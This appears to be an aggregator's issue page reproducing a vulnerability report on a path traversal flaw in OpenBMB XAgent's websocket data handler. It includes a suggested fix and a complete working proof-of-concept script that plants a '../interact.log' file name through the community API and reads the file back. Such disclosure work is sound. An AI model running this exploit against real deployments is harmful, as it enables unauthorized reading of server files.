[Vulnerability] Path Traversal in /ws/base endpoint
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 8.5k
- Forks
- 905
- PR merge metrics
- No merged PRs in 30d
Description
Vulnerability report: XAgent path traversal
Affected product
Vendor: OpenBMB
Product: XAgent
Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py
Version: 3619c25855f878481ddb893709c1e30d76aff794
Vulnerability summary
MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.
The vulnerable function call chain is:
MainServer.send_data()
-> handle_data()
The vulnerable data flow is:
send_data function:
InteractionCRUD.get_next_send
-> rows
-> row
handle_data function:
row
-> row.data
-> data["using_tools"]
-> using_tools["tool_output"]
-> tool_output
-> output
-> output["file_name"]
-> file_name
-> file_path
An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().
The vulnerable code is in
XAgentServer/application/websockets/common.py:
file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
try:
with open(file_path, "rb") as f:
png_base64 = base64.b64encode(
f.read()).decode("utf-8")
except Exception:
pass
Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.
Suggested fix
Add a security check in handle_data function. Code snippet:
for output in tool_output:
...
workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
file_path = os.path.realpath(os.path.join(workspace, file_name))
if not file_path.startswith(workspace + os.sep):
print("path traversal detected !")
continue
POC
Prerequisites:
The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.
cd your-path-to/XAgent
Step 1: Start XAgent and the required databases.
sudo docker compose -p xagentrepro \
-f your-path-to/poc/xagent-compose-repro.yml \
up -d
Check that the services are running:
sudo docker compose -p xagentrepro \
-f your-path-to/poc/xagent-compose-repro.yml \
ps
Expected important services:
xagentrepro-XAgentServer-1 Up
xagentrepro-xagent-mysql-1 healthy
xagentrepro-xagent-redis-1 healthy
The backend listens on:
http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}
Step 2: Send the PoC payload through the community API and trigger send_data().
python3 your-path-to/poc/community_ws_poc.py
The script performs both actions:
POST /conv/community
-> inserts a crafted interaction and Raw record into MySQL through the HTTP API
websocket /ws/base/{interaction_id}
-> sends a normal type=data message
-> starts the scheduler
-> triggers send_data()
-> send_data() fetches the malicious Raw row
-> handle_data() reads workspace/../interact.log
The crafted Raw record contains:
{
"data": {
"using_tools": {
"tool_name": "PythonNotebook_execute_cell",
"tool_output": [
{
"file_name": "../interact.log"
}
]
}
},
"include_pictures": true,
"is_send": false
}
Successful output contains:
community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-...
poc_success True
read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.
reference related files
The PoC files are listed below:
community_ws_poc.py
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile
import requests
import websockets
BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"
def make_empty_zip():
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
pass
buf.seek(0)
return buf
def insert_via_community():
interaction_id = uuid.uuid4().hex
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
malicious_node = uuid.uuid4().hex
finish_node = uuid.uuid4().hex
interaction = {
"interaction_id": interaction_id,
"user_id": USER,
"create_time": now,
"update_time": now,
"description": "community-poc",
"agent": "",
"mode": "manual",
"file_list": [],
"recorder_root_dir": "",
"status": "ready",
"message": "ready...",
"current_step": "-1",
"is_deleted": False,
"call_method": "web",
}
raws = [
{
"node_id": malicious_node,
"interaction_id": interaction_id,
"current": "community-poc",
"step": 0,
"data": {
"using_tools": {
"tool_name": "PythonNotebook_execute_cell",
"tool_input": "{}",
"tool_output": [{"file_name": "../interact.log"}],
"tool_status_code": "TOOL_CALL_SUCCESS",
}
},
"file_list": [],
"status": "inner",
"do_interrupt": False,
"wait_seconds": 0,
"ask_for_human_help": False,
"create_time": now,
"update_time": now,
"is_deleted": False,
"is_human": False,
"human_data": {},
"human_file_list": [],
"is_send": False,
"is_receive": False,
"include_pictures": True,
},
{
"node_id": finish_node,
"interaction_id": interaction_id,
"current": "finish",
"step": 1,
"data": {"done": True},
"file_list": [],
"status": "finished",
"do_interrupt": False,
"wait_seconds": 0,
"ask_for_human_help": False,
"create_time": now,
"update_time": now,
"is_deleted": False,
"is_human": False,
"human_data": {},
"human_file_list": [],
"is_send": False,
"is_receive": False,
"include_pictures": False,
},
]
z = make_empty_zip()
resp = requests.post(
BASE + "/conv/community",
data={
"user_id": USER,
"token": TOKEN,
"user_name": "guest",
"interaction": json.dumps(interaction),
"raws": json.dumps(raws),
},
files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
timeout=20,
)
print("community_status", resp.status_code, resp.text)
resp.raise_for_status()
print("interaction_id", interaction_id)
print("malicious_node", malicious_node)
return interaction_id
async def trigger_ws(interaction_id):
url = (
f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
f"?user_id={USER}&token={TOKEN}&description=community-poc"
)
async with websockets.connect(url, ping_interval=None) as ws:
first = await ws.recv()
print("ws_first", first[:500])
await ws.send(
json.dumps(
{
"type": "data",
"args": {"goal": "trigger send_data only"},
"agent": "",
"mode": "manual",
"file_list": [],
}
)
)
deadline = time.time() + 20
while time.time() < deadline:
msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
print("ws_msg", msg)
obj = json.loads(msg)
outputs = (
((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
or []
)
if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
decoded = base64.b64decode(outputs[0]["file_data"]).decode(
errors="replace"
)
print("read_content:", decoded[:300])
print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
return
print("poc_success", False)
if __name__ == "__main__":
iid = insert_via_community()
asyncio.run(trigger_ws(iid))
xagent-compose-repro.yml
services:
ToolServerManager:
image: xagentteam/toolserver-manager:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/ToolServerManager/Dockerfile
volumes:
- toolserverconfig:/app/assets/config
- /var/run/docker.sock:/var/run/docker.sock
environment:
DB_HOST: db
DB_PORT: 27017
DB_USERNAME: admin
DB_PASSWORD: xagentmongodb
DB_COLLECTION: TSM
depends_on:
- db
command: ["--workers", "2", "-t", "600"]
ToolServerNode:
image: xagentteam/toolserver-node:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/ToolServerNode/Dockerfile
volumes:
- toolserverconfig:/app/assets/config
db:
image: mongo
volumes:
- xagentmongodb:/data/db
environment:
MONGO_INITDB_ROOT_USERNAME: admin
MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
logging:
driver: "none"
XAgentServer:
image: xagentteam/xagent-server:latest
build:
context: your-path-to/XAgent
dockerfile: dockerfiles/XAgentServer/Dockerfile
env_file:
- your-path-to/XAgent/.env
environment:
- TOOLSERVER_URL=http://ToolServerManager:8080
- MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
- REDIS_HOST=xagent-redis
volumes:
- your-path-to/XAgent/assets:/app/assets:ro
ports:
- "5173:5173"
- "8090:8090"
depends_on:
xagent-mysql:
condition: service_healthy
xagent-redis:
condition: service_healthy
xagent-mysql:
image: mysql:8.0
command:
- --default-authentication-plugin=caching_sha2_password
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_ROOT_PASSWORD: xagent
volumes:
- your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
healthcheck:
test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
timeout: 20s
retries: 20
xagent-redis:
image: redis
command: redis-server --requirepass xagent
healthcheck:
test: ["CMD", "redis-cli", "ping"]
interval: 5s
timeout: 3s
retries: 20
volumes:
xagentmongodb:
toolserverconfig:
name: xagentrepro_toolserverconfig
driver: local
driver_opts:
type: none
device: your-path-to/XAgent/assets/config
o: bind
networks:
default:
name: xagent-repro-network
driver: bridge
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start in XAgentServer/application/websockets/common.py at handle_data(), then trace its caller MainServer.send_data() in XAgentServer/application/websockets/base.py. Run community_ws_poc.py with the provided Docker setup to reproduce the read outside workspace. Done means traversal paths no longer return file contents while valid workspace image outputs still work.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- api, backend, security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 72/100